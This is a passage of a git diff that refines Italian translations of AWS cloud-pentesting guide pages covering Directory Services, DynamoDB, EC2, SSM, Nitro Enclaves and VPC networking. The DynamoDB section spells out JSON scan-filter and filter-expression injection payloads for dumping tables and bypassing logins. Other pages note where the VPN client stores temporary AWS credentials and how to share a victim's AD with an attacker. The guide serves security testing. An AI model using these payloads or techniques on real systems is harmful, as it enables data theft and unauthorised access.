nel cloud. Sarà in ascolto in una **VPC** e dovrai fornire **credenziali per accedere all'AD esistente**. - **Amazon Cognito User Pools**: Questo è lo stesso di Cognito User Pools. -- **Cloud Directory**: Questo è il **più semplice**. Un directory **serverless** dove indichi lo **schema** da utilizzare e sei **fatturato in base all'uso**. +- **Cloud Directory**: Questo è il **più semplice**. Una directory **serverless** in cui indichi lo **schema** da utilizzare e sei **fatturato in base all'uso**. I servizi Directory AWS consentono di **synchronizzare** con il tuo esistente **on-premises** Microsoft AD, **eseguire il tuo** in AWS o sincronizzare con **altri tipi di directory**. @@ -63,7 +63,7 @@ Pertanto, è possibile **cambiare la password di Admin**, **creare un nuovo uten ### Sharing AD (from victim to attacker) È possibile condividere un ambiente AD da una vittima a un attaccante. In questo modo l'attaccante sarà in grado di continuare ad accedere all'ambiente AD.\ -Tuttavia, ciò implica la condivisione dell'AD gestito e anche la creazione di una connessione di peering VPC. +Tuttavia, ciò implica condividere l'AD gestito e anche creare una connessione di peering VPC. Puoi trovare una guida qui: [https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html](https://docs.aws.amazon.com/directoryservice/latest/admin-guide/step1_setup_networking.html) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md index 185a3cd6e..e2dff3de6 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md @@ -21,7 +21,7 @@ aws --region us-east-1 --profile ad docdb describe-db-cluster-snapshot-attribute ``` ### NoSQL Injection -Poiché DocumentDB è un database compatibile con MongoDB, puoi immaginare che sia anche vulnerabile a comuni attacchi di NoSQL injection: +Poiché DocumentDB è un database compatibile con MongoDB, puoi immaginare che sia anche vulnerabile a comuni attacchi di iniezione NoSQL: {{#ref}} https://book.hacktricks.xyz/pentesting-web/nosql-injection diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md index 703aec947..be7ed2e4e 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md @@ -8,7 +8,7 @@ Amazon DynamoDB è presentato da AWS come un **database NoSQL chiave-valore completamente gestito e serverless**, progettato per alimentare applicazioni ad alte prestazioni indipendentemente dalle loro dimensioni. Il servizio garantisce funzionalità robuste, inclusi misure di sicurezza intrinseche, backup ininterrotti, replica automatizzata in più regioni, caching in memoria integrato e utilità di esportazione dei dati convenienti. -Nel contesto di DynamoDB, invece di stabilire un database tradizionale, **vengono create tabelle**. Ogni tabella richiede la specificazione di una **chiave di partizione** come componente integrale della **chiave primaria della tabella**. Questa chiave di partizione, essenzialmente un **valore hash**, gioca un ruolo critico sia nel recupero degli elementi che nella distribuzione dei dati tra vari host. Questa distribuzione è fondamentale per mantenere sia la scalabilità che la disponibilità del database. Inoltre, c'è un'opzione per incorporare una **chiave di ordinamento** per affinare ulteriormente l'organizzazione dei dati. +Nel contesto di DynamoDB, invece di stabilire un database tradizionale, **vengono create tabelle**. Ogni tabella richiede la specifica di una **chiave di partizione** come componente integrante della **chiave primaria della tabella**. Questa chiave di partizione, essenzialmente un **valore hash**, gioca un ruolo critico sia nel recupero degli elementi che nella distribuzione dei dati tra vari host. Questa distribuzione è fondamentale per mantenere sia la scalabilità che la disponibilità del database. Inoltre, c'è un'opzione per incorporare una **chiave di ordinamento** per affinare ulteriormente l'organizzazione dei dati. ### Crittografia @@ -24,7 +24,7 @@ Per impostazione predefinita, DynamoDB utilizza una chiave KMS che **appartiene ### GUI -Esiste una GUI per i servizi Dynamo locali come [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), ecc, che potrebbe essere utile: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) +C'è una GUI per i servizi Dynamo locali come [DynamoDB Local](https://aws.amazon.com/blogs/aws/dynamodb-local-for-desktop-development/), [dynalite](https://github.com/mhart/dynalite), [localstack](https://github.com/localstack/localstack), ecc, che potrebbero essere utili: [https://github.com/aaronshaf/dynamodb-admin](https://github.com/aaronshaf/dynamodb-admin) ### Enumerazione ```bash @@ -89,7 +89,7 @@ https://book.hacktricks.xyz/pentesting-web/sql-injection ### Iniezione NoSQL -In DynamoDB possono essere utilizzate diverse **condizioni** per recuperare dati, come in una comune Iniezione NoSQL; se è possibile **collegare più condizioni per recuperare** dati, potresti ottenere dati nascosti (o scaricare l'intera tabella).\ +In DynamoDB possono essere utilizzate diverse **condizioni** per recuperare dati, come in una comune iniezione NoSQL; se è possibile **collegare più condizioni per recuperare** dati, potresti ottenere dati nascosti (o scaricare l'intera tabella).\ Puoi trovare qui le condizioni supportate da DynamoDB: [https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html) Nota che **diverse condizioni** sono supportate se i dati vengono accessi tramite **`query`** o tramite **`scan`**. @@ -108,10 +108,10 @@ Se puoi **cambiare il confronto** effettuato o aggiungerne di nuovi, potresti re https://book.hacktricks.xyz/pentesting-web/nosql-injection {{#endref}} -### Iniezione Json grezza +### Iniezione Json Raw > [!CAUTION] -> **Questa vulnerabilità si basa su Scan Filter di dynamodb che ora è deprecato!** +> **Questa vulnerabilità si basa su dynamodb Scan Filter che ora è deprecato!** **DynamoDB** accetta oggetti **Json** per **cercare** dati all'interno del DB. Se scopri che puoi scrivere nell'oggetto json inviato per la ricerca, potresti eseguire il dump del DB, tutto il contenuto. @@ -123,9 +123,9 @@ un attaccante potrebbe iniettare qualcosa come: `1000"}],"ComparisonOperator": "GT","AttributeValueList": [{"N": "0` -correggere la condizione "EQ" cercando l'ID 1000 e poi cercando tutti i dati con una stringa Id maggiore di 0, che è tutto. +correggi la condizione "EQ" cercando l'ID 1000 e poi cercando tutti i dati con una stringa Id maggiore di 0, che è tutto. -Un altro **esempio vulnerabile che utilizza un login** potrebbe essere: +Un altro **esempio vulnerabile usando un login** potrebbe essere: ```python scan_filter = """{ "username": { @@ -148,13 +148,13 @@ password: none"}],"ComparisonOperator": "NE","AttributeValueList": [{"S": "none ``` ### :property Injection -Alcuni SDK consentono di utilizzare una stringa che indica il filtraggio da eseguire come: +Alcuni SDK consentono di utilizzare una stringa che indica il filtro da eseguire come: ```java new ScanSpec().withProjectionExpression("UserName").withFilterExpression(user_input+" = :username and Password = :password").withValueMap(valueMap) ``` -Devi sapere che cercando in DynamoDB per **sostituire** un **valore** di attributo nelle **espressioni di filtro** mentre si scansionano gli elementi, i token devono **iniziare** con il carattere **`:`**. Tali token saranno **sostituiti** con il reale **valore dell'attributo a runtime**. +È necessario sapere che cercando in DynamoDB per **sostituire** un attributo **valore** in **espressioni di filtro** durante la scansione degli elementi, i token devono **iniziare** con il carattere **`:`**. Tali token saranno **sostituiti** con il reale **valore dell'attributo a runtime**. -Pertanto, un login come quello precedente può essere bypassato con qualcosa del genere: +Pertanto, un login come quello precedente può essere bypassato con qualcosa come: ```bash :username = :username or :username # This will generate the query: diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md index 56418fc34..be972a228 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md @@ -12,14 +12,14 @@ aws-vpc-and-networking-basic-information.md ## EC2 -Amazon EC2 è utilizzato per avviare **server virtuali**. Consente la configurazione di **sicurezza** e **networking** e la gestione di **storage**. La flessibilità di Amazon EC2 è evidente nella sua capacità di scalare le risorse sia verso l'alto che verso il basso, adattandosi efficacemente ai cambiamenti di requisiti o ai picchi di popolarità. Questa caratteristica riduce la necessità di previsioni di traffico precise. +Amazon EC2 è utilizzato per avviare **server virtuali**. Consente la configurazione di **sicurezza** e **networking** e la gestione di **storage**. La flessibilità di Amazon EC2 è evidente nella sua capacità di scalare le risorse sia verso l'alto che verso il basso, adattandosi efficacemente ai cambiamenti di requisiti o ai picchi di popolarità. Questa caratteristica riduce la necessità di previsioni precise sul traffico. Cose interessanti da enumerare in EC2: - Macchine Virtuali - Chiavi SSH - Dati Utente -- EC2/AMIs/Snapshot esistenti +- EC2/AMI/Snapshot esistenti - Networking - Reti - Sottoreti @@ -149,13 +149,13 @@ Nella pagina seguente puoi controllare come **abuse EC2 permissions to escalate ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** sono fondamentalmente **backup** statici dei volumi EBS di AWS. In altre parole, sono **copia** dei **dischi** collegati a un'**istanza EC2** in un momento specifico. Gli snapshot EBS possono essere copiati tra regioni e account, o anche scaricati e eseguiti localmente. +Amazon **EBS** (Elastic Block Store) **snapshots** sono fondamentalmente **backup** statici dei volumi AWS EBS. In altre parole, sono **copia** dei **dischi** collegati a un **EC2** Instance in un momento specifico. Gli snapshot EBS possono essere copiati tra regioni e account, o anche scaricati e eseguiti localmente. Gli snapshot possono contenere **informazioni sensibili** come **codice sorgente o chiavi API**, pertanto, se hai la possibilità, è consigliato controllarli. ### Differenza AMI & EBS -Un'**AMI** è utilizzata per **lanciare un'istanza EC2**, mentre uno **Snapshot** EC2 è utilizzato per **eseguire il backup e recuperare i dati memorizzati su un volume EBS**. Anche se uno Snapshot EC2 può essere utilizzato per creare una nuova AMI, non è la stessa cosa di un'AMI e non include informazioni sul sistema operativo, server applicativo o altro software necessario per eseguire un'applicazione. +Un **AMI** è utilizzato per **lanciare un'istanza EC2**, mentre un **Snapshot** EC2 è utilizzato per **eseguire il backup e recuperare i dati memorizzati su un volume EBS**. Anche se uno Snapshot EC2 può essere utilizzato per creare un nuovo AMI, non è la stessa cosa di un AMI e non include informazioni sul sistema operativo, server applicativo o altro software necessario per eseguire un'applicazione. ### Privesc @@ -167,11 +167,11 @@ Nella pagina seguente puoi controllare come **abuse EBS permissions to escalate ## SSM -**Amazon Simple Systems Manager (SSM)** consente di gestire da remoto flotte di istanze EC2 per rendere le loro amministrazioni molto più semplici. Ognuna di queste istanze deve eseguire il **servizio SSM Agent poiché sarà il servizio a ricevere le azioni e ad eseguirle** dall'API AWS. +**Amazon Simple Systems Manager (SSM)** consente di gestire da remoto flotte di istanze EC2 per rendere le loro amministrazioni molto più semplici. Ognuna di queste istanze deve eseguire il **servizio SSM Agent poiché il servizio sarà quello che riceve le azioni e le esegue** dall'API AWS. **SSM Agent** rende possibile per Systems Manager aggiornare, gestire e configurare queste risorse. L'agente **elabora le richieste dal servizio Systems Manager nel Cloud AWS**, e poi le esegue come specificato nella richiesta. -L'**SSM Agent viene** [**preinstallato in alcune AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) oppure è necessario [**installarli manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) sulle istanze. Inoltre, il ruolo IAM utilizzato all'interno dell'istanza deve avere la policy **AmazonEC2RoleforSSM** allegata per poter comunicare. +L'**SSM Agent viene**[ **preinstallato in alcune AMI**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) oppure è necessario [**installarli manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) sulle istanze. Inoltre, il ruolo IAM utilizzato all'interno dell'istanza deve avere la policy **AmazonEC2RoleforSSM** allegata per poter comunicare. ### Enumerazione ```bash @@ -196,7 +196,7 @@ Nella pagina seguente puoi controllare come **abuse SSM permissions to escalate ## ELB -**Elastic Load Balancing** (ELB) è un **servizio di bilanciamento del carico per Amazon Web Services** (AWS). ELB distribuisce automaticamente **il traffico delle applicazioni in arrivo** e scala le risorse per soddisfare le richieste di traffico. +**Elastic Load Balancing** (ELB) è un **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automaticamente **distributes incoming application traffic** e scala le risorse per soddisfare le richieste di traffico. ### Enumeration ```bash @@ -293,7 +293,7 @@ aws ec2 describe-vpn-connections **Credenziali Temporanee Locali** -Quando si utilizza il Client VPN AWS per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per ottenere accesso alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**. +Quando si utilizza il Client VPN AWS per connettersi a una VPN, l'utente di solito **effettua il login in AWS** per accedere alla VPN. Poi, alcune **credenziali AWS vengono create e memorizzate** localmente per stabilire la connessione VPN. Queste credenziali sono **memorizzate in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` e contengono un **AccessKey**, un **SecretKey** e un **Token**. Le credenziali appartengono all'utente `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: ricerca ulteriori informazioni sui permessi di queste credenziali). diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index cfea013a4..ecd1d3ab4 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -4,11 +4,11 @@ ## Informazioni di base -AWS Nitro è una suite di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta **componenti hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta. +AWS Nitro è una suite di **tecnologie innovative** che formano la piattaforma sottostante per le istanze AWS EC2. Introdotto da Amazon per **migliorare la sicurezza, le prestazioni e l'affidabilità**, Nitro sfrutta componenti **hardware personalizzati e un hypervisor leggero**. Astrae gran parte della funzionalità di virtualizzazione tradizionale su hardware e software dedicati, **minimizzando la superficie di attacco** e migliorando l'efficienza delle risorse. Offloadando le funzioni di virtualizzazione, Nitro consente alle istanze EC2 di offrire **prestazioni quasi bare-metal**, rendendolo particolarmente vantaggioso per applicazioni ad alta intensità di risorse. Inoltre, il Nitro Security Chip garantisce specificamente la **sicurezza dell'hardware e del firmware**, consolidando ulteriormente la sua architettura robusta. ### Nitro Enclaves -**AWS Nitro Enclaves** fornisce un ambiente di calcolo sicuro e **isolato all'interno delle istanze Amazon EC2**, progettato specificamente per elaborare dati altamente sensibili. Sfruttando il sistema AWS Nitro, questi enclavi garantiscono una robusta **isolamento e sicurezza**, ideali per **gestire informazioni riservate** come PII o registri finanziari. Presentano un ambiente minimalista, riducendo significativamente il rischio di esposizione dei dati. Inoltre, Nitro Enclaves supporta l'attestazione crittografica, consentendo agli utenti di verificare che solo il codice autorizzato sia in esecuzione, fondamentale per mantenere rigorosi standard di conformità e protezione dei dati. +**AWS Nitro Enclaves** fornisce un ambiente di calcolo sicuro e **isolato all'interno delle istanze Amazon EC2**, progettato specificamente per elaborare dati altamente sensibili. Sfruttando il sistema AWS Nitro, questi enclavi garantiscono una robusta **isolamento e sicurezza**, ideali per **gestire informazioni riservate** come PII o registri finanziari. Presentano un ambiente minimalista, riducendo significativamente il rischio di esposizione dei dati. Inoltre, Nitro Enclaves supporta l'attestazione crittografica, consentendo agli utenti di verificare che solo codice autorizzato sia in esecuzione, fondamentale per mantenere rigorosi standard di conformità e protezione dei dati. > [!CAUTION] > Le immagini Nitro Enclave sono **eseguite all'interno delle istanze EC2** e non puoi vedere dalla console web AWS se un'istanza EC2 sta eseguendo immagini in Nitro Enclave o meno. @@ -39,7 +39,7 @@ Le immagini che puoi eseguire in Nitro Enclave sono basate su immagini docker, q # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` -Come puoi vedere, le immagini Nitro Enclave utilizzano l'estensione **`eif`** (Enclave Image File). +Come puoi vedere, le immagini di Nitro Enclave utilizzano l'estensione **`eif`** (Enclave Image File). L'output apparirà simile a: ``` @@ -56,14 +56,14 @@ Enclave Image successfully created. ``` ### Esegui un'immagine -Come indicato nella [**documentazione**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), per eseguire un'immagine di enclave è necessario assegnarle una memoria di **almeno 4 volte la dimensione del file `eif`**. È possibile configurare le risorse predefinite da assegnarle nel file. +Come indicato nella [**documentazione**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), per eseguire un'immagine enclave è necessario assegnarle una memoria di **almeno 4 volte la dimensione del file `eif`**. È possibile configurare le risorse predefinite da assegnarle nel file. ```shell /etc/nitro_enclaves/allocator.yaml ``` > [!CAUTION] > Ricorda sempre che devi **riservare alcune risorse per l'istanza EC2** genitore! -Dopo aver conosciuto le risorse da assegnare a un'immagine e aver persino modificato il file di configurazione, è possibile eseguire un'immagine enclave con: +Dopo aver conosciuto le risorse da assegnare a un'immagine e aver anche modificato il file di configurazione, è possibile eseguire un'immagine enclave con: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -82,7 +82,7 @@ Non è **possibile ottenere una shell** all'interno di un'immagine enclave in es ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` -### Termina Enclavi +### Terminare gli Enclavi Se un attaccante compromette un'istanza EC2, per impostazione predefinita non sarà in grado di ottenere una shell all'interno di esse, ma sarà in grado di **terminarle** con: ```shell @@ -207,20 +207,20 @@ Questo inoltrerà la **porta locale 8001 in vsock** a `ip-ranges.amazonaws.com:4 allowlist: - { address: ip-ranges.amazonaws.com, port: 443 } ``` -È possibile vedere gli indirizzi vsock (**`:`**) utilizzati dall'host EC2 con (nota il `3:8001`, 3 è il CID e 8001 la porta): +È possibile vedere gli indirizzi vsock (**`:`**) utilizzati dall'host EC2 con (nota il `3:8001`, 3 è il CID e 8001 è la porta): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` -## Nitro Enclave Atestation & KMS +## Nitro Enclave Atestazione & KMS -Il Nitro Enclaves SDK consente a un enclave di richiedere un **documento di attestazione firmato crittograficamente** dal Nitro **Hypervisor**, che include **misurazioni uniche** specifiche per quell'enclave. Queste misurazioni, che includono **hash e registri di configurazione della piattaforma (PCR)**, vengono utilizzate durante il processo di attestazione per **provare l'identità dell'enclave** e **costruire fiducia con i servizi esterni**. Il documento di attestazione contiene tipicamente valori come PCR0, PCR1 e PCR2, che hai già incontrato quando hai creato e salvato un enclave EIF. +Il Nitro Enclaves SDK consente a un enclave di richiedere un **documento di attestazione firmato crittograficamente** dal Nitro **Hypervisor**, che include **misurazioni uniche** specifiche per quell'enclave. Queste misurazioni, che includono **hash e registri di configurazione della piattaforma (PCR)**, vengono utilizzate durante il processo di attestazione per **provare l'identità dell'enclave** e **costruire fiducia con i servizi esterni**. Il documento di attestazione contiene tipicamente valori come PCR0, PCR1 e PCR2, che hai già incontrato quando hai costruito e salvato un EIF dell'enclave. Dai [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), questi sono i valori PCR: -
PCRHash di ...Descrizione
PCR0File immagine dell'enclaveUna misura continua dei contenuti del file immagine, senza i dati della sezione.
PCR1Kernel Linux e bootstrapUna misurazione continua dei dati del kernel e del ramfs di avvio.
PCR2ApplicazioneUna misurazione continua e in ordine delle applicazioni utente, senza il ramfs di avvio.
PCR3Ruolo IAM assegnato all'istanza padreUna misurazione continua del ruolo IAM assegnato all'istanza padre. Garantisce che il processo di attestazione abbia successo solo quando l'istanza padre ha il ruolo IAM corretto.
PCR4ID dell'istanza padreUna misurazione continua dell'ID dell'istanza padre. Garantisce che il processo di attestazione abbia successo solo quando l'istanza padre ha un ID di istanza specifico.
PCR8Certificato di firma del file immagine dell'enclaveUna misura del certificato di firma specificato per il file immagine dell'enclave. Garantisce che il processo di attestazione abbia successo solo quando l'enclave è stata avviata da un file immagine dell'enclave firmato da un certificato specifico.
+
PCRHash di ...Descrizione
PCR0File immagine dell'enclaveUna misura contigua dei contenuti del file immagine, senza i dati della sezione.
PCR1Kernel Linux e bootstrapUna misurazione contigua dei dati del kernel e del ramfs di avvio.
PCR2ApplicazioneUna misurazione contigua e in ordine delle applicazioni utente, senza il ramfs di avvio.
PCR3Ruolo IAM assegnato all'istanza padreUna misurazione contigua del ruolo IAM assegnato all'istanza padre. Garantisce che il processo di attestazione abbia successo solo quando l'istanza padre ha il ruolo IAM corretto.
PCR4ID dell'istanza padreUna misurazione contigua dell'ID dell'istanza padre. Garantisce che il processo di attestazione abbia successo solo quando l'istanza padre ha un ID di istanza specifico.
PCR8Certificato di firma del file immagine dell'enclaveUna misura del certificato di firma specificato per il file immagine dell'enclave. Garantisce che il processo di attestazione abbia successo solo quando l'enclave è stata avviata da un file immagine dell'enclave firmato da un certificato specifico.
-Puoi integrare **l'attestazione crittografica** nelle tue applicazioni e sfruttare integrazioni pre-costruite con servizi come **AWS KMS**. AWS KMS può **validare le attestazioni dell'enclave** e offre chiavi di condizione basate sull'attestazione (`kms:RecipientAttestation:ImageSha384` e `kms:RecipientAttestation:PCR`) nelle sue politiche di chiave. Queste politiche garantiscono che AWS KMS consenta operazioni utilizzando la chiave KMS **solo se il documento di attestazione dell'enclave è valido** e soddisfa le **condizioni specificate**. +Puoi integrare **l'attestazione crittografica** nelle tue applicazioni e sfruttare integrazioni pre-costruite con servizi come **AWS KMS**. AWS KMS può **validare le attestazioni dell'enclave** e offre chiavi di condizione basate sull'attestazione (`kms:RecipientAttestation:ImageSha384` e `kms:RecipientAttestation:PCR`) nelle sue politiche delle chiavi. Queste politiche garantiscono che AWS KMS consenta operazioni utilizzando la chiave KMS **solo se il documento di attestazione dell'enclave è valido** e soddisfa le **condizioni specificate**. > [!TIP] > Nota che gli Enclaves in modalità debug (--debug) generano documenti di attestazione con PCR che sono composti da zeri (`000000000000000000000000000000000000000000000000`). Pertanto, le politiche KMS che controllano questi valori falliranno. @@ -231,7 +231,7 @@ Dal punto di vista di un attaccante, nota che alcuni PCR consentirebbero di modi Pertanto, un attaccante che compromette l'istanza EC2 potrebbe essere in grado di eseguire altre immagini dell'enclave per eludere queste protezioni. -La ricerca su come modificare/creare nuove immagini per eludere ciascuna protezione (soprattutto quelle non così ovvie) è ancora TODO. +La ricerca su come modificare/creare nuove immagini per eludere ciascuna protezione (specialmente quelle non così ovvie) è ancora da fare. ## Riferimenti diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md index 7d5734733..09f782a40 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-vpc-and-networking-basic-information.md @@ -8,7 +8,7 @@ Una **VPC** contiene un **network CIDR** come 10.0.0.0/16 (con la sua **routing Questa rete VPC è divisa in **subnetworks**, quindi una **subnetwork** è direttamente **relata** con la **VPC**, **routing** **table** e **network ACL**. -Poi, le **Network Interface** collegate ai servizi (come le istanze EC2) sono **collegate** alle **subnetworks** con **security group(s)**. +Poi, le **Network Interface** collegate ai servizi (come le istanze EC2) sono **connesse** alle **subnetworks** con **security group(s)**. Pertanto, un **security group** limiterà le porte esposte delle **network interfaces che lo utilizzano**, **indipendentemente dalla subnetwork**. E una **network ACL** limiterà le porte esposte all'**intera rete**. @@ -29,7 +29,7 @@ Amazon **Virtual Private Cloud** (Amazon VPC) ti consente di **lanciare risorse ### Subnets -Le subnets aiutano a garantire un maggiore livello di sicurezza. **Raggruppamenti logici di risorse simili** aiutano anche a mantenere una **facilità di gestione** attraverso la tua infrastruttura. +Le subnets aiutano a garantire un maggiore livello di sicurezza. **Raggruppamenti logici di risorse simili** ti aiutano anche a mantenere una **facilità di gestione** attraverso la tua infrastruttura. - I CIDR validi vanno da una netmask /16 a una netmask /28. - Una subnet non può trovarsi in diverse availability zones contemporaneamente. @@ -46,11 +46,11 @@ Le route tables determinano il routing del traffico per una subnet all'interno d - VPC locale - NAT -- Internet Gateways / Egress-only Internet gateways (necessari per dare accesso a Internet a una VPC). +- Internet Gateways / Egress-only Internet gateways (necessari per dare accesso a Internet alla VPC). - Per rendere una subnet pubblica devi **creare** e **attaccare** un **Internet gateway** alla tua VPC. - VPC endpoints (per accedere a S3 da reti private) -Nelle immagini seguenti puoi controllare le differenze tra una rete pubblica predefinita e una privata: +Nelle immagini seguenti puoi controllare le differenze in una rete pubblica predefinita e una privata:
@@ -58,14 +58,14 @@ Nelle immagini seguenti puoi controllare le differenze tra una rete pubblica pre ### ACLs -**Network Access Control Lists (ACLs)**: Le Network ACLs sono regole firewall che controllano il traffico di rete in entrata e in uscita a una subnet. Possono essere utilizzate per consentire o negare il traffico a indirizzi IP specifici o intervalli. +**Network Access Control Lists (ACLs)**: Le Network ACLs sono regole firewall che controllano il traffico di rete in entrata e in uscita verso una subnet. Possono essere utilizzate per consentire o negare il traffico a indirizzi IP specifici o intervalli. -- È più frequente consentire/negare l'accesso utilizzando i security groups, ma questo è l'unico modo per interrompere completamente le reverse shell stabilite. Una regola modificata in un security group non ferma le connessioni già stabilite. +- È più frequente consentire/negare l'accesso utilizzando i security groups, ma questo è solo il modo per interrompere completamente le reverse shell stabilite. Una regola modificata in un security group non ferma le connessioni già stabilite. - Tuttavia, questo si applica all'intera subnetwork, fai attenzione quando vieti cose perché la funzionalità necessaria potrebbe essere disturbata. ### Security Groups -I security groups sono un **firewall** virtuale che controlla il traffico di rete in entrata e in uscita **verso le istanze** in una VPC. Relazione 1 SG a M istanze (di solito 1 a 1).\ +I security groups sono un **firewall** virtuale che controlla il traffico di rete in entrata e in uscita verso le **istanze** in una VPC. Relazione 1 SG a M istanze (di solito 1 a 1).\ Di solito questo viene utilizzato per aprire porte pericolose nelle istanze, come la porta 22 ad esempio:
@@ -86,7 +86,7 @@ Se stai **collegando una subnet con un'altra subnet diversa, non puoi accedere a Il VPC peering ti consente di **collegare due o più VPC insieme**, utilizzando IPV4 o IPV6, come se fossero parte della stessa rete. -Una volta stabilita la connettività peer, **le risorse in una VPC possono accedere alle risorse nell'altra**. La connettività tra le VPC è implementata attraverso l'infrastruttura di rete AWS esistente, quindi è altamente disponibile senza colli di bottiglia di larghezza di banda. Poiché **le connessioni peer operano come se fossero parte della stessa rete**, ci sono restrizioni riguardo ai tuoi intervalli di blocco CIDR che possono essere utilizzati.\ +Una volta stabilita la connettività peer, **le risorse in una VPC possono accedere alle risorse nell'altra**. La connettività tra le VPC è implementata attraverso l'infrastruttura di rete AWS esistente, e quindi è altamente disponibile senza colli di bottiglia di larghezza di banda. Poiché **le connessioni peer operano come se fossero parte della stessa rete**, ci sono restrizioni riguardo ai tuoi intervalli di blocco CIDR che possono essere utilizzati.\ Se hai **intervalli CIDR sovrapposti o duplicati** per la tua VPC, allora **non potrai fare peering tra le VPC**.\ Ogni VPC AWS **comunicherà solo con il suo peer**. Ad esempio, se hai una connessione di peering tra VPC 1 e VPC 2, e un'altra connessione tra VPC 2 e VPC 3 come mostrato, allora VPC 1 e 2 potrebbero comunicare direttamente tra loro, così come VPC 2 e VPC 3, tuttavia, VPC 1 e VPC 3 non potrebbero. **Non puoi instradare attraverso una VPC per arrivare a un'altra.** @@ -101,10 +101,10 @@ Limitazioni: - Se stai eseguendo una connessione di peering VPC, allora potrai vedere solo i flow logs delle VPC peer che sono all'interno dello stesso account. - Se stai ancora eseguendo risorse nell'ambiente EC2-Classic, sfortunatamente non puoi recuperare informazioni dalle loro interfacce. - Una volta creato un VPC Flow Log, non può essere modificato. Per alterare la configurazione del VPC Flow Log, devi eliminarlo e poi ricrearne uno nuovo. -- Il seguente traffico non è monitorato e catturato dai log. Traffico DHCP all'interno della VPC, traffico dalle istanze destinato al server DNS di Amazon. +- Il traffico seguente non è monitorato e catturato dai log. Traffico DHCP all'interno della VPC, traffico dalle istanze destinato al server DNS di Amazon. - Qualsiasi traffico destinato all'indirizzo IP per il router predefinito della VPC e traffico da 